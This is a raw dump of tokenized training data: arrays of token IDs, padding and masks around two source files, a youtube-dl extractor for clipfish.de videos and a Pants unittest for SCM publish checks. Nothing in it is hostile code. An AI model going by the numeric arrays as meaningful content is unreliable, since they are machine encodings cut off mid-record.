32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
svagionitis/youtube-dl
youtube_dl/extractor/clipfish.py
17
1626
from __future__ import unicode_literals import re import time import xml.etree.ElementTree from .common import InfoExtractor from ..utils import ( ExtractorError, parse_duration, ) class ClipfishIE(InfoExtractor): IE_NAME = 'clipfish' _VALID_URL = r'^https?://(?:www\.)?clipfish\.de/.*?/video/(?P<id>[0-9]+)/' _TEST = { 'url': 'http://www.clipfish.de/special/game-trailer/video/3966754/fifa-14-e3-2013-trailer/', 'md5': '2521cd644e862936cf2e698206e47385', 'info_dict': { 'id': '3966754', 'ext': 'mp4', 'title': 'FIFA 14 - E3 2013 Trailer', 'duration': 82, }, u'skip': 'Blocked in the US' } def _real_extract(self, url): mobj = re.match(self._VALID_URL, url) video_id = mobj.group(1) info_url = ('http://www.clipfish.de/devxml/videoinfo/%s?ts=%d' % (video_id, int(time.time()))) doc = self._download_xml( info_url, video_id, note=u'Downloading info page') title = doc.find('title').text video_url = doc.find('filename').text if video_url is None: xml_bytes = xml.etree.ElementTree.tostring(doc) raise ExtractorError('Cannot find video URL in document %r' % xml_bytes) thumbnail = doc.find('imageurl').text duration = parse_duration(doc.find('duration').text) return { 'id': video_id, 'title': title, 'url': video_url, 'thumbnail': thumbnail, 'duration': duration, }
unlicense
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 646, 900, 199, 646, 2748, 14, 9464, 14, 15325, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 1208, 492, 334, 272, 19783, 12, 272, 2198, 63, 5553, 12, 199, 9, 421, 199, 533, 445, 3587, 16056, 4332, 8, 18283, 304, 272, 15292, 63, 2339, 275, 283, 7548, 16056, 7, 339, 485, 5600, 63, 2632, 275, 519, 4289, 2859, 24524, 1544, 20316, 7548, 16056, 4537, 271, 15, 6697, 15, 3722, 9448, 48, 28, 344, 9514, 16, 13, 25, 24598, 7, 272, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 7548, 16056, 14, 271, 15, 6664, 15, 5097, 13, 21606, 15, 3722, 15, 1355, 1272, 13332, 15, 329, 667, 13, 1079, 13, 69, 19, 13, 6965, 13, 21606, 3678, 267, 283, 1064, 21, 356, 283, 821, 2025, 2866, 10893, 69, 1184, 1398, 1344, 2177, 18, 69, 20983, 11089, 69, 2417, 13846, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 1355, 1272, 13332, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 1976, 2078, 4329, 446, 662, 19, 6171, 12643, 3566, 297, 288, 283, 5553, 356, 18051, 12, 267, 1660, 267, 399, 1159, 5194, 356, 283, 3142, 379, 315, 314, 19635, 7, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 14208, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 9, 267, 3991, 63, 344, 275, 14208, 14, 923, 8, 17, 9, 398, 2256, 63, 633, 275, 661, 1014, 921, 1544, 14, 7548, 16056, 14, 271, 15, 2374, 1652, 15, 3722, 815, 3149, 83, 31, 1086, 2458, 68, 7, 450, 490, 334, 3722, 63, 344, 12, 1109, 8, 521, 14, 521, 16890, 267, 1382, 275, 291, 423, 4249, 63, 1652, 8, 288, 2256, 63, 633, 12, 3991, 63, 344, 12, 5317, 29, 85, 7, 18085, 2256, 2034, 358, 267, 2538, 275, 1382, 14, 1623, 360, 1213, 1959, 505, 267, 3991, 63, 633, 275, 1382, 14, 1623, 360, 1501, 1959, 505, 267, 340, 3991, 63, 633, 365, 488, 26, 288, 2748, 63, 2394, 275, 2748, 14, 9464, 14, 15325, 14, 14028, 8, 1301, 9, 288, 746, 19783, 360, 6612, 2342, 3991, 2851, 315, 2213, 450, 82, 7, 450, 639, 2748, 63, 2394, 9, 267, 10062, 275, 1382, 14, 1623, 360, 1569, 633, 1959, 505, 267, 7373, 275, 2198, 63, 5553, 8, 1301, 14, 1623, 360, 5553, 1959, 505, 9, 398, 372, 469, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 1213, 356, 2538, 12, 288, 283, 633, 356, 3991, 63, 633, 12, 288, 283, 8311, 356, 10062, 12, 288, 283, 5553, 356, 7373, 12, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 295, 199, 646, 900, 199, 646, 2748, 14, 9464, 14, 15325, 199, 199, 504, 1275, 2330, 492, 21298, 199, 504, 2508, 1208, 492, 334, 272, 19783, 12, 272, 2198, 63, 5553, 12, 199, 9, 421, 199, 533, 445, 3587, 16056, 4332, 8, 18283, 304, 272, 15292, 63, 2339, 275, 283, 7548, 16056, 7, 339, 485, 5600, 63, 2632, 275, 519, 4289, 2859, 24524, 1544, 20316, 7548, 16056, 4537, 271, 15, 6697, 15, 3722, 9448, 48, 28, 344, 9514, 16, 13, 25, 24598, 7, 272, 485, 2864, 275, 469, 267, 283, 633, 356, 283, 1014, 921, 1544, 14, 7548, 16056, 14, 271, 15, 6664, 15, 5097, 13, 21606, 15, 3722, 15, 1355, 1272, 13332, 15, 329, 667, 13, 1079, 13, 69, 19, 13, 6965, 13, 21606, 3678, 267, 283, 1064, 21, 356, 283, 821, 2025, 2866, 10893, 69, 1184, 1398, 1344, 2177, 18, 69, 20983, 11089, 69, 2417, 13846, 297, 267, 283, 815, 63, 807, 356, 469, 288, 283, 344, 356, 283, 1355, 1272, 13332, 297, 288, 283, 832, 356, 283, 311, 20, 297, 288, 283, 1213, 356, 283, 1976, 2078, 4329, 446, 662, 19, 6171, 12643, 3566, 297, 288, 283, 5553, 356, 18051, 12, 267, 1660, 267, 399, 1159, 5194, 356, 283, 3142, 379, 315, 314, 19635, 7, 272, 789, 339, 347, 485, 3093, 63, 5005, 8, 277, 12, 1166, 304, 267, 14208, 275, 295, 14, 1431, 8, 277, 423, 5600, 63, 2632, 12, 1166, 9, 267, 3991, 63, 344, 275, 14208, 14, 923, 8, 17, 9, 398, 2256, 63, 633, 275, 661, 1014, 921, 1544, 14, 7548, 16056, 14, 271, 15, 2374, 1652, 15, 3722, 815, 3149, 83, 31, 1086, 2458, 68, 7, 450, 490, 334, 3722, 63, 344, 12, 1109, 8, 521, 14, 521, 16890, 267, 1382, 275, 291, 423, 4249, 63, 1652, 8, 288, 2256, 63, 633, 12, 3991, 63, 344, 12, 5317, 29, 85, 7, 18085, 2256, 2034, 358, 267, 2538, 275, 1382, 14, 1623, 360, 1213, 1959, 505, 267, 3991, 63, 633, 275, 1382, 14, 1623, 360, 1501, 1959, 505, 267, 340, 3991, 63, 633, 365, 488, 26, 288, 2748, 63, 2394, 275, 2748, 14, 9464, 14, 15325, 14, 14028, 8, 1301, 9, 288, 746, 19783, 360, 6612, 2342, 3991, 2851, 315, 2213, 450, 82, 7, 450, 639, 2748, 63, 2394, 9, 267, 10062, 275, 1382, 14, 1623, 360, 1569, 633, 1959, 505, 267, 7373, 275, 2198, 63, 5553, 8, 1301, 14, 1623, 360, 5553, 1959, 505, 9, 398, 372, 469, 288, 283, 344, 356, 3991, 63, 344, 12, 288, 283, 1213, 356, 2538, 12, 288, 283, 633, 356, 3991, 63, 633, 12, 288, 283, 8311, 356, 10062, 12, 288, 283, 5553, 356, 7373, 12, 267, 789, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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under the Apache License, Version 2.0 (see LICENSE). from __future__ import (absolute_import, division, generators, nested_scopes, print_function, unicode_literals, with_statement) import unittest import mock from pants.task.scm_publish_mixin import Namedver, ScmPublishMixin class ScmPublishMixinTest(unittest.TestCase): class ScmPublish(ScmPublishMixin): def __init__(self, restrict_push_branches=None, restrict_push_urls=None): self._restrict_push_branches = restrict_push_branches self._restrict_push_urls = restrict_push_urls self._scm = mock.Mock() self._log = mock.MagicMock() @property def restrict_push_branches(self): return self._restrict_push_branches @property def restrict_push_urls(self): return self._restrict_push_urls @property def scm_push_attempts(self): raise NotImplementedError() @property def scm(self): return self._scm @property def log(self): return self._log def test_check_clean_master_dry_run_bad_branch(self): scm_publish = self.ScmPublish(restrict_push_branches=['bob']) scm_publish.scm.branch_name = 'jane' scm_publish.check_clean_master(commit=False) def test_check_clean_master_dry_run_bad_remote(self): scm_publish = self.ScmPublish(restrict_push_urls=['amy']) # Property mocks must be installed on the type instead of on the instance, see: # http://www.voidspace.org.uk/python/mock/mock.html#mock.PropertyMock type(scm_publish.scm).server_url = mock.PropertyMock(side_effect=AssertionError) scm_publish.check_clean_master(commit=False) def test_check_clean_master_dry_run_unclean(self): scm_publish = self.ScmPublish() scm_publish.scm.changed_files.side_effect = AssertionError scm_publish.check_clean_master(commit=False) def test_check_clean_master_success_acceptable_branch(self): scm_publish = self.ScmPublish(restrict_push_branches=['bob', 'betty']) scm_publish.scm.branch_name = 'betty' scm_publish.scm.changed_files.return_value = [] scm_publish.check_clean_master(commit=True) def test_check_clean_master_success_acceptable_remote(self): scm_publish = self.ScmPublish(restrict_push_urls=['amy', 'fred']) scm_publish.scm.server_url = 'fred' scm_publish.scm.changed_files.return_value = [] scm_publish.check_clean_master(commit=True) def test_check_clean_master_bad_branch(self): scm_publish = self.ScmPublish(restrict_push_branches=['bob']) scm_publish.scm.branch_name = 'jane' with self.assertRaises(scm_publish.InvalidBranchError): scm_publish.check_clean_master(commit=True) def test_check_clean_master_bad_remote(self): scm_publish = self.ScmPublish(restrict_push_urls=['amy']) scm_publish.scm.serveer_url = 'https://amy' with self.assertRaises(scm_publish.InvalidRemoteError): scm_publish.check_clean_master(commit=True) def test_check_clean_master_dirty(self): scm_publish = self.ScmPublish() scm_publish.scm.changed_files.return_value = ['dirty/file'] with self.assertRaises(scm_publish.DirtyWorkspaceError): scm_publish.check_clean_master(commit=True) def test_namedver(self): Namedver.parse('12345') Namedver.parse('a_b-c.1.2') Namedver.parse('a') Namedver.parse('1') Namedver.parse('1.2') # Can't match semver with self.assertRaises(ValueError): Namedver.parse('1.2.3') # No special characters other than (-_.) with self.assertRaises(ValueError): Namedver.parse('Foo*') # No whitespace with self.assertRaises(ValueError): Namedver.parse('a d') # Must contain alphanumeric characters with self.assertRaises(ValueError): Namedver.parse('') with self.assertRaises(ValueError): Namedver.parse('-') with self.assertRaises(ValueError): Namedver.parse('_') with self.assertRaises(ValueError): Namedver.parse('.') with self.assertRaises(ValueError): Namedver.parse('.-_')
apache-2.0
[ 3, 2803, 29, 1624, 13, 24, 199, 3, 1898, 6900, 510, 2285, 2199, 8417, 334, 3239, 6483, 14, 1064, 680, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 3239, 5113, 680, 199, 199, 504, 636, 2443, 363, 492, 334, 6116, 63, 646, 12, 4629, 12, 16952, 12, 6032, 63, 14129, 12, 870, 63, 1593, 12, 717, 2649, 63, 5955, 12, 543, 63, 6242, 9, 199, 199, 646, 2882, 199, 199, 646, 1683, 199, 199, 504, 18081, 14, 1765, 14, 17143, 63, 4763, 63, 20406, 492, 16198, 422, 12, 428, 4400, 13956, 4256, 421, 199, 533, 428, 4400, 13956, 4256, 774, 8, 2796, 14, 1746, 304, 523, 1021, 428, 4400, 13956, 8, 51, 4400, 13956, 4256, 304, 272, 347, 636, 826, 721, 277, 12, 18152, 63, 5335, 63, 16896, 29, 403, 12, 18152, 63, 5335, 63, 3603, 29, 403, 304, 489, 291, 423, 22188, 63, 5335, 63, 16896, 275, 18152, 63, 5335, 63, 16896, 489, 291, 423, 22188, 63, 5335, 63, 3603, 275, 18152, 63, 5335, 63, 3603, 489, 291, 423, 17143, 275, 1683, 14, 3346, 342, 489, 291, 423, 793, 275, 1683, 14, 11988, 342, 339, 768, 1829, 272, 347, 18152, 63, 5335, 63, 16896, 8, 277, 304, 489, 372, 291, 423, 22188, 63, 5335, 63, 16896, 339, 768, 1829, 272, 347, 18152, 63, 5335, 63, 3603, 8, 277, 304, 489, 372, 291, 423, 22188, 63, 5335, 63, 3603, 339, 768, 1829, 272, 347, 25811, 63, 5335, 63, 13143, 8, 277, 304, 489, 746, 4279, 342, 339, 768, 1829, 272, 347, 25811, 8, 277, 304, 489, 372, 291, 423, 17143, 339, 768, 1829, 272, 347, 943, 8, 277, 304, 489, 372, 291, 423, 793, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 10481, 63, 1065, 63, 4087, 63, 4694, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 16896, 2968, 7913, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4694, 63, 354, 275, 283, 74, 5865, 7, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 797, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 10481, 63, 1065, 63, 4087, 63, 3846, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 3603, 2968, 455, 89, 1105, 272, 327, 16158, 26500, 1471, 506, 4903, 641, 314, 730, 3140, 402, 641, 314, 1256, 12, 1937, 26, 272, 327, 257, 1455, 921, 1544, 14, 1647, 2638, 14, 1308, 14, 3210, 15, 1548, 15, 1805, 15, 1805, 14, 1360, 3, 1805, 14, 3697, 3346, 272, 730, 8, 17143, 63, 4763, 14, 17143, 680, 1000, 63, 633, 275, 1683, 14, 3697, 3346, 8, 2441, 63, 5881, 29, 14844, 9, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 797, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 10481, 63, 1065, 63, 1097, 1270, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 342, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 2441, 63, 5881, 275, 9070, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 797, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 3742, 63, 28751, 63, 4694, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 16896, 2968, 7913, 297, 283, 9549, 369, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4694, 63, 354, 275, 283, 9549, 369, 7, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 1107, 63, 585, 275, 942, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 3742, 63, 28751, 63, 3846, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 3603, 2968, 455, 89, 297, 283, 22980, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 1000, 63, 633, 275, 283, 22980, 7, 272, 25811, 63, 4763, 14, 17143, 14, 2489, 63, 1725, 14, 1107, 63, 585, 275, 942, 272, 25811, 63, 4763, 14, 1074, 63, 3118, 63, 4133, 8, 3543, 29, 549, 9, 819, 347, 511, 63, 1074, 63, 3118, 63, 4133, 63, 4087, 63, 4694, 8, 277, 304, 272, 25811, 63, 4763, 275, 291, 14, 51, 4400, 13956, 8, 22188, 63, 5335, 63, 16896, 2968, 7913, 1105, 272, 25811, 63, 4763, 14, 17143, 14, 4694, 63, 354, 275, 283, 74, 5865, 7, 272, 543, 